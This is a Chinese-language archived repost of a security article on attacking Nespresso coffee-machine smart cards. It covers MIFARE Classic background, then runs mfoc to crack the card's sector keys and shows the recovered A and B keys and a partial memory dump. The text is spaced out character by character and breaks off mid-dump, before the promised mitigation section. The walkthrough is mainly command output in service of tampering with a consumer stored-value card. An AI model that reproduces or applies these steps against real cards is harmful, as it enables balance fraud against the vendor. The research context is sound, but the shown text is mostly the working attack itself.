搜索

[16484] 2021-02-25_智能卡渗透Nespresso咖啡机实验及缓解方案

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-18
2021-02-25_智能卡渗透Nespresso咖啡机实验及缓解方案 智 能 卡 渗 透 N e s p r e s s o 咖 啡 机 实 验 及 缓 解 方 案 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 2 5 写 在 前 面 的 话 写 在 前 面 的 话 在 这 篇 文 章 中 ， 我 将 给 大 家 演 示 如 何 通 过 导 出 并 修 改 N e s p r e s s o 自 定 义 智 能 卡 来 攻 击 常 见 的 N e s p r e s s o 咖 啡 机 。 关 于 关 于 N e s p r e s s o N e s p r e s s o （ 奈 斯 派 索 ） 是 瑞 士 雀 巢 公 司 旗 下 的 一 个 子 品 牌 ， 成 立 于 1 9 8 6 年 ， 公 司 总 部 位 于 瑞 士 ， 早 在 1 9 9 6 年 ， N e s p r e s s o 的 产 品 就 已 经 畅 销 世 界 将 近 二 十 个 国 家 和 地 区 了 。 除 此 之 外 ， N e s p r e s s o （ 奈 斯 派 索 ） 也 是 雀 巢 公 司 的 胶 囊 式 咖 啡 机 及 相 关 产 品 的 品 牌 。 胶 囊 式 咖 啡 机 是 近 年 出 现 的 新 型 咖 啡 机 ， 其 定 位 于 家 用 和 办 公 室 用 。 胶 囊 式 咖 啡 机 最 大 的 特 点 是 不 能 磨 豆 、 不 能 使 用 咖 啡 粉 进 行 冲 泡 ， 只 能 使 用 专 门 的 咖 啡 胶 囊 ， 也 因 此 使 它 的 推 广 受 到 极 大 的 限 制 。 胶 囊 式 咖 啡 机 比 之 半 自 动 咖 啡 机 和 全 自 动 咖 啡 机 操 作 大 大 简 化 ， 往 往 只 需 一 个 按 钮 就 可 以 完 成 操 作 。 另 外 胶 囊 机 因 为 其 独 到 的 工 作 方 式 也 省 却 了 全 自 动 咖 啡 机 的 磨 豆 等 部 件 使 其 体 积 更 轻 巧 成 本 更 低 廉 。 关 于 关 于 M I F A R E   C l a s s i c 智 能 卡 智 能 卡 这 一 漏 洞 的 关 键 在 于 N e s p r e s s o 用 来 与 机 器 交 互 的 智 能 卡 的 类 型 。 他 们 的 系 统 依 赖 于 M I F A R E   C l a s s i c ® 品 牌 的 智 能 卡 ， 这 些 卡 片 在 当 时 是 非 常 普 遍 的 ， 而 且 也 是 行 业 标 准 ， 甚 至 于 今 天 我 们 都 能 够 看 到 这 些 智 能 卡 的 身 影 。 然 而 ， 2 0 0 8 年 的 三 月 份 ， 来 自 荷 兰 拉 德 堡 德 大 学 （ R a d b o u d   U n i v e r s i t y   N i j m e g e n ） 数 字 安 全 研 究 小 组 （ D i g i t a l   S e c u r i t y   r e s e a r c h   g r o u p ） 的 安 全 研 究 专 家 们 公 开 发 表 了 一 份 安 全 报 告 ， 并 表 明 他 们 已 对 M I F A R E   C l a s s i c 芯 片 进 行 了 完 整 的 逆 向 工 程 分 析 ， 并 能 够 克 隆 和 篡 改 芯 片 卡 内 的 数 据 内 容 。 此 报 告 一 经 发 表 ， 便 引 起 了 广 大 媒 体 的 特 别 关 注 ， 因 为 这 群 研 究 人 员 在 测 试 的 时 候 使 用 的 是 荷 兰 公 共 交 通 O V - C h i p k a a r t 卡 。 为 此 ， N P X 公 司 曾 尝 试 通 过 申 请 初 步 禁 令 阻 止 这 项 研 究 成 果 的 发 表 ， 但 法 院 却 驳 回 了 他 们 的 请 求 ， 并 指 出 ： “ 发 表 科 学 研 究 报 告 在 民 主 社 会 中 有 很 大 的 分 量 ， 向 社 会 通 报 芯 片 中 的 严 重 问 题 也 是 如 此 ， 因 为 这 样 可 以 减 轻 风 险 。 ”
这 项 研 究 发 布 之 后 ， M i f a r e   C l a s s i c 系 列 将 不 再 是 安 全 的 了 ， 而 且 也 不 应 该 再 被 用 于 安 全 敏 感 的 工 作 之 中 。 为 此 ， M i f a r e 提 供 了 C l a s s i c 系 列 的 替 代 产 品 ， 即 M i f a r e   P l u s 。 M i f a r e   P l u s 具 备 已 认 证 的 安 全 级 别 （ 基 于 A E S - 1 2 8 ） ， 并 且 与 M i f a r e   C l a s s i c 完 全 向 后 兼 容 。 现 有 工 具 现 有 工 具 N F C 读 读 / 写 卡 器 写 卡 器 当 然 ， 一 个 好 的 读 卡 器 / 写 卡 器 需 要 我 们 对 智 能 卡 进 行 研 究 或 进 行 自 定 义 开 发 。 我 们 推 荐 使 用 A d v a n c e d   C a r d   S y s t e m s 公 司 推 出 的 A C R 1 2 2 U ， 该 设 备 可 靠 性 强 ， 支 持 在 W i n d o w s 和 L i n u x 系 统 上 工 作 ， 而 且 价 格 也 不 贵 。 M I F A R E   C l a s s i c 命 令 行 工 具 ： 命 令 行 工 具 ： n f c - m f c l a s s i c 这 款 工 具 可 以 在 l i b n f c 包 中 找 到 ， 并 且 可 以 用 来 读 取 或 写 入 M I F A R E   C l a s s i c 卡 数 据 。 M I F A R E   C l a s s i c 离 线 破 解 工 具 ： 离 线 破 解 工 具 ： m f o c m f o c 是 一 个 破 解 M I F A R E   C l a s s i c 芯 片 加 密 的 程 序 ， 它 可 以 将 芯 片 的 密 钥 和 解 密 的 内 存 内 容 转 储 到 一 个 文 件 中 。 运 行 该 工 具 时 ， 我 们 还 需 要 访 问 N F C 读 卡 器 ， 并 且 还 需 要 一 张 带 有 M I F A R E   C l a s s i c 芯 片 的 智 能 卡 。 虽 然 这 款 工 具 很 n i c e ， 但 该 工 具 好 像 已 经 很 久 没 人 维 护 了 ， 因 为 我 在 尝 试 破 解 N e s p r e s s o 卡 的 密 钥 时 ， 我 遇 到 了 一 些 错 误 ， 这 些 错 误 会 阻 止 应 用 程 序 正 确 地 转 储 密 钥 。 我 修 复 了 这 个 问 题 ， 并 且 提 交 了 一 个 p u l l 请 求 。 如 果 你 需 要 的 话 ， 我 建 议 大 家 下 载 我 G i t H u b 中 的 已 修 复 版 本 ： h t t p s : / / g i t h u b . c o m / p o l l e v / m f o c 。 破 解 密 钥 并 导 出 智 能 卡 数 据 破 解 密 钥 并 导 出 智 能 卡 数 据 首 先 ， 我 们 需 要 破 解 N e s p r e s s o 卡 的 非 默 认 密 钥 。 这 里 我 们 需 要 使 用 m f o c 工 具 ， 并 运 行 下 列 命 令 ： 我 们 在 下 面 的 输 出 中 看 到 ， 除 了 最 后 4 个 扇 区 外 ， 卡 对 大 多 数 扇 区 都 使 用 了 默 认 密 钥 。 我 们 需 要 使 用 工 具 并 花 几 分 钟 时 间 破 解 其 余 的 4 个 密 钥 ， 并 导 出 数 据 。 然 后 ， 该 工 具 使 用 这 些 密 钥 创 建 整 个 卡 的 二 进 制 转 储 。 这 里 需 要 注 意 警 告 信 息 “ F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A . T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s … ” 。 为 了 解 决 这 个 错 误 ， 我 才 发 布 了 一 个 更 新 版 本 的 m f o c ， 否 则 会 导 致 二 进 制 转 储 失 败 。 m f o c   - P   5 0 0   - O   n e s p r e s s o . d m p p o l l e @ p o l l e - p c : ~ / d a t a / w o r k / t o o l s / s n i p p e t s / s p e c i f i c _ a p p l i c a t i o n s / n e s p r e s s o $   m f o c   - P   5 0 0   - O   n e s p r e s s o . d m p F o u n d   M i f a r e   C l a s s i c   1 k   t a g I S O / I E C   1 4 4 4 3 A   ( 1 0 6   k b p s )   t a r g e t :         A T Q A   ( S E N S _ R E S ) :   0 4     0 0     *   U I D   s i z e :   s i n g l e *   b i t   f r a m e   a n t i c o l l i s i o n   n o t   s u p p o r t e d               U I D   ( N F C I D 1 ) :   8 b     2 d     b 7     e 3                 S A K   ( S E L _ R E S ) :   0 8     *   N o t   c o m p l i a n t   w i t h   I S O / I E C   1 4 4 4 3 - 4 *   N o t   c o m p l i a n t   w i t h   I S O / I E C   1 8 0 9 2 F i n g e r p r i n t i n g   b a s e d   o n   M I F A R E   t y p e   I d e n t i f i c a t i o n   P r o c e d u r e : O t h e r   p o s s i b l e   m a t c h e s   b a s e d   o n   A T Q A   &   S A K   v a l u e s :
*   U n k n o w n   c a r d ,   s o r r y T r y   t o   a u t h e n t i c a t e   t o   a l l   s e c t o r s   w i t h   d e f a u l t   k e y s . . . S y m b o l s :   ' . '   n o   k e y   f o u n d ,   ' / '   A   k e y   f o u n d ,   ' '   B   k e y   f o u n d ,   ' x '   b o t h   k e y s   f o u n d [ K e y :   f f f f f f f f f f f f ]   - >   [ . . . . . . . . . . . . . . . . ] [ K e y :   a 0 a 1 a 2 a 3 a 4 a 5 ]   - >   [ / / / / / / / / / / / / / / / / ] [ K e y :   d 3 f 7 d 3 f 7 d 3 f 7 ]   - >   [ / / / / / / / / / / / / / / / / ] [ K e y :   0 0 0 0 0 0 0 0 0 0 0 0 ]   - >   [ / / / / / / / / / / / / / / / / ] [ K e y :   b 0 b 1 b 2 b 3 b 4 b 5 ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   4 d 3 a 9 9 c 3 5 1 d d ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   1 a 9 8 2 c 7 e 4 5 9 a ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   a a b b c c d d e e f f ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   7 1 4 c 5 c 8 8 6 e 9 7 ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   5 8 7 e e 5 f 9 3 5 0 f ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   a 0 4 7 8 c c 3 9 0 9 1 ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   5 3 3 c b 6 c 7 2 3 f 6 ]   - >   [ x x x x x x x x x x x x / / / / ] [ K e y :   8 f d 0 a 4 f 2 5 6 e 9 ]   - >   [ x x x x x x x x x x x x / / / / ] S e c t o r   0 0   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 1   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 2   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 3   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 4   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 5   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 6   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 7   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 8   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   0 9   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   1 0   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   1 1   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   F o u n d       K e y   B :   b 0 b 1 b 2 b 3 b 4 b 5 S e c t o r   1 2   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   U n k n o w n   K e y   B
S e c t o r   1 3   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   U n k n o w n   K e y   B S e c t o r   1 4   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   U n k n o w n   K e y   B S e c t o r   1 5   -   F o u n d       K e y   A :   a 0 a 1 a 2 a 3 a 4 a 5   U n k n o w n   K e y   B U s i n g   s e c t o r   0 0   a s   a n   e x p l o i t   s e c t o r S e c t o r :   1 2 ,   t y p e   B ,   p r o b e   0 ,   d i s t a n c e   2 9 2 4   . . . . . S e c t o r :   1 2 ,   t y p e   B ,   p r o b e   1 ,   d i s t a n c e   2 8 7 2   . . . . .     F o u n d   K e y :   B   [ f f 9 a 8 4 6 3 5 b d 3 ] S e c t o r :   1 3 ,   t y p e   B ,   p r o b e   0 ,   d i s t a n c e   2 8 9 2   . . . . .     F o u n d   K e y :   B   [ f 1 a 1 2 3 9 a 4 4 8 7 ] S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   0 ,   d i s t a n c e   2 9 3 2   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   1 ,   d i s t a n c e   2 8 6 8   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   2 ,   d i s t a n c e   2 8 9 4   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   3 ,   d i s t a n c e   2 8 8 0   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   4 ,   d i s t a n c e   2 8 4 4   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   5 ,   d i s t a n c e   2 8 9 2   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   6 ,   d i s t a n c e   2 8 7 6   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   7 ,   d i s t a n c e   2 8 9 2   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   8 ,   d i s t a n c e   2 9 2 0   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   9 ,   d i s t a n c e   2 8 8 4   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   1 0 ,   d i s t a n c e   2 9 4 4   . . . . . S e c t o r :   1 4 ,   t y p e   B ,   p r o b e   1 1 ,   d i s t a n c e   2 8 9 6   . . . . .     F o u n d   K e y :   B   [ 6 f 3 0 1 2 6 e e 7 e 4 ] S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   0 ,   d i s t a n c e   2 8 5 2   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 ,   d i s t a n c e   2 9 2 4   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   2 ,   d i s t a n c e   2 8 9 8   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   3 ,   d i s t a n c e   2 8 3 6   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   4 ,   d i s t a n c e   2 8 8 0   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   5 ,   d i s t a n c e   2 8 8 4   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   6 ,   d i s t a n c e   2 8 5 6   . . . . .
S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   7 ,   d i s t a n c e   2 7 8 8   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   8 ,   d i s t a n c e   2 8 6 8   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   9 ,   d i s t a n c e   2 8 0 2   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 0 ,   d i s t a n c e   2 8 6 8   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 1 ,   d i s t a n c e   2 9 0 6   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 2 ,   d i s t a n c e   2 8 9 4   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 3 ,   d i s t a n c e   2 8 3 2   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 4 ,   d i s t a n c e   2 8 3 2   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 5 ,   d i s t a n c e   2 8 2 8   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 6 ,   d i s t a n c e   2 8 4 2   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 7 ,   d i s t a n c e   2 8 3 6   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 8 ,   d i s t a n c e   2 8 3 4   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   1 9 ,   d i s t a n c e   2 8 1 0   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   2 0 ,   d i s t a n c e   2 9 1 4   . . . . . S e c t o r :   1 5 ,   t y p e   B ,   p r o b e   2 1 ,   d i s t a n c e   2 8 7 4   . . . . .     F o u n d   K e y :   B   [ 6 0 3 9 a b b 1 0 1 b b ] A u t h   w i t h   a l l   s e c t o r s   s u c c e e d e d ,   d u m p i n g   k e y s   t o   a   f i l e ! B l o c k   6 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     4 b     4 4     b b     5 a     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   6 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     5 7     7 e     0 a     6 d     f 2     0 0     0 0     0 0     0 0     0 0     4 d     4 9     4 3     0 0 F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   6 1 ,   t y p e   B ,   k e y   6 0 3 9 a b b 1 0 1 b b   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   6 0 ,   t y p e   B ,   k e y   6 0 3 9 a b b 1 0 1 b b   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d B l o c k   5 9 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 f     0 0     f f     e 3     0 0     0 0     0 0     0 0     0 0     0 0 F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   5 8 ,   t y p e   B ,   k e y   6 f 3 0 1 2 6 e e 7 e 4   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   5 7 ,   t y p e   B ,   k e y   6 f 3 0 1 2 6 e e 7 e 4   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . .
B l o c k   5 6 ,   t y p e   B ,   k e y   6 f 3 0 1 2 6 e e 7 e 4   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d B l o c k   5 5 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 f     0 0     f f     b 1     0 0     0 0     0 0     0 0     0 0     0 0 F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   5 4 ,   t y p e   B ,   k e y   f 1 a 1 2 3 9 a 4 4 8 7   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   5 3 ,   t y p e   B ,   k e y   f 1 a 1 2 3 9 a 4 4 8 7   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   5 2 ,   t y p e   B ,   k e y   f 1 a 1 2 3 9 a 4 4 8 7   : d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d     d d B l o c k   5 1 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     1 e     1 1     e e     5 a     0 0     0 0     0 0     0 0     0 0     0 0 F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   5 0 ,   t y p e   B ,   k e y   f f 9 a 8 4 6 3 5 b d 3   : 0 0     0 0     0 0     0 0     0 0     0 1     0 0     0 0     d d     d d     d d     d d     d d     d d     d d     d d F a i l e d   r e a d i n g   w i t h   K e y   A   a f t e r   s u c c e s s f u l l y   t e s t i n g   K e y   A .   T h i s   i s   u n u s u a l ,   b u t   c o n t i n u i n g   a n y w a y   i n   c a s e   K e y   B   s u c c e e d s . . . B l o c k   4 9 ,   t y p e   B ,   k e y   f f 9 a 8 4 6 3 5 b d 3   : 0 1     0 1     e e     e e     e e     e e     e e     e e     0 0     0 2     2 6     0 1     0 0     0 1     0 0     0 1 B l o c k   4 8 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 8     0 1     0 0     8 4     0 0     0 4     4 e     1 c     0 0     0 0     0 2     0 0     0 1     0 9     2 6     a f B l o c k   4 7 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 6 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 5 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 4 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 1 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   4 0 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 9 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 8 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 7 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 6 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 5 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 4 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0
B l o c k   3 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 1 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   3 0 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 9 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 8 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 7 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 6 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 5 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 4 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 1 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   2 0 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 9 ,   t y p e   A ,   k e y   a 